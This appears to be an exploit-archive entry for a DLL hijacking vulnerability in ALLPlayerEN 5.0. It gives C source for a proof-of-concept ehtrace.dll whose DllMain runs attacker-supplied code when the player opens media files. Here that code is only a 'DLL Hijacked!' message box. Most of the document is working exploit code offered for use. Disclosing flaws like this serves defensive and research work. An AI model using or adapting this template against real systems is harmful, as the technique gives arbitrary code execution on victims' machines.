ALLPlayerEN 5.0 ehtrace.dll dll hijack Vulnerability

/*Exploit Title: ALLPlayerEN 5.0 ehtrace.dll dll hijack VulnerabilityDate: 2012-3-25Author: instruderSoftware Link: http://www.allplayer.org/zh/download/allplayerVersion: ALLPlayerEN 5.0Tested on: win7CVE : N/ADesc: ALLPlayer Classic suffers from a dll hijacking vulnerabilitythat enables the attacker to execute arbitrary code on a locallevel. The vulnerable extensions are .mp3, .rmvb .avi and so on thruehtrace.dlllibraryVulnerability discovered by instruder have for fun.*/#include <windows.h>BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){switch (fdwReason){case DLL_PROCESS_ATTACH:dll_mll();case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;}int dll_mll(){MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);}